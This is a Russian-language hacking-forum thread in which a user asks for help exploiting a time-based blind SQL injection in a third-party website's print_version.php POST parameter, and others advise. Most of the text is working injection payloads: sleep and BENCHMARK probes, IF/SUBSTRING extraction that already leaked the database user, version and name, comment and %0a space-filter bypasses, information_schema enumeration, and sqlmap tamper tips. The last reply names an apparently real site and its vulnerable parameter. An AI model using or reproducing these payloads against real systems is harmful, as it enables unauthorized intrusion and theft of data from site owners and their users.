Всем привет, нашел скулю, но очень она странная. Ссылку прямую дать не могу Но может кто подскажет варианты, я хочу ее раскрутить: Итак детали : Есть некий сайт, скажем http://site.com Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн. http://site.com/misc/print_version.php Уязвимость касается POST параметра page was set to /rus/search.php'=sleep(2)=' Полные пост данные: name=blah&page=/rus/search.php'=sleep(2)=' SQLMAP ее не находит. Реакция сервера: 1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно 2) пробовал следующие варианты: Не засыпаетИли не засыпает на добавочный слип) page=blah'=sleep(0.2)=' page='=sleep(0.2)=' page=/rus/search.php'=sleep(0.1)= ' page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER))) page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) -- page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1" page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))=' page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))=' page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1 page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)<52),BENCHMARK(900000,SHA1(1)), 1))=' page=/rus/search.php'=sleep(0.1)=' page=/rus/search.php'=A=sleep(0.1)=' page=/rus/search.php'=sleep(sleep(0.1))=' Засыпает, результат ожидаемый page=/rus/search.php='=(BENCHMARK(100000,SHA1(CURRENT_USER)) )=' page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =' page=/rus/search.php'=sleep(0.1)='" page=/rus/search.php'='1'=sleep(0.1)=' page=/rus/search.php'=sleep(0.1)='A'=' page=/rus/search.php'=sleep(0.1)=sleep(0.1)=' page=/rus/search.php'=sleep(sleep(0.1))=' page=/rus/search.php'=(IF(SUBSTRING(USER(),1,4)='root',1,sleep(0.1)))=' (тут нет пробела в sleep, это почемуто античатовский редактор сам его вставляет) Последний вариант конечно позволяет втавить проверку if, но вот вставить полноценный запрос типа select blah from balh не получается, так как если втавить пробел в любое место то слип не происходит. Вобщем поделитесь идеями хотябы, если не сложно как обойти
jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы. Попробуйте замены пробелов вначале, а именно запросы вида: Code: page=/rus/search.php'/**/and/**/1=1/**/''=' page=/rus/search.php'/**/and/**/0=1/**/''=' page=/rus/search.php'%0aand%0a1=1%0a''=' page=/rus/search.php'%0aand%0a0=1%0a''=' И вопрос стоило писать сюда - https://forum.antichat.ru/thread46016.html
https://forum.antichat.ru/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста. Может из-за того, что пост большой. По уязвимости: Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован. page=/rus/search.php'/**/and/**/1=1/**/''=' page=/rus/search.php'/**/and/**/0=1/**/''=' page=/rus/search.php'%0aand%0a1=1%0a''=' page=/rus/search.php'%0aand%0a0=1%0a''=' Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера. Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит. Однозначно это только слепая инжекшн. И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно.
jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.
Нормального вывода нет совсем. Это точно. Остается засыпание. За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить. Немного доработал скулю и получил следующее: name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116',1,sleep(0.1)))=' Таким образом узнал пользователя, версию бд, название бд. Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект: Вот что пробовал: Нашел в инете примеры обхода пробелов, типа: select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables) select(null),table_name,(null)from(information_schema.tables)limit 28 select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273) (вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.) Не засыпает: name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_concat(table_name),(0)from(information_schema.tables),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_ConCat(table_name),(0)fRom(information_schema.tables),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' Вроде как фильруется селект Засыпает: name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))='
Помимо такого обхода пробела можно еще попытаться использовать Code: %0a , иногда срабатывает. Также, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида Code: /*select*/ или Code: /*union select*/ соответственно. И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант - Code: http://rollholl.ru/misc/print_version.php POST Code: page=/rus/search.php?mode=&change=&cat=10&brand=0 Где параметр "cat" является уязвимым)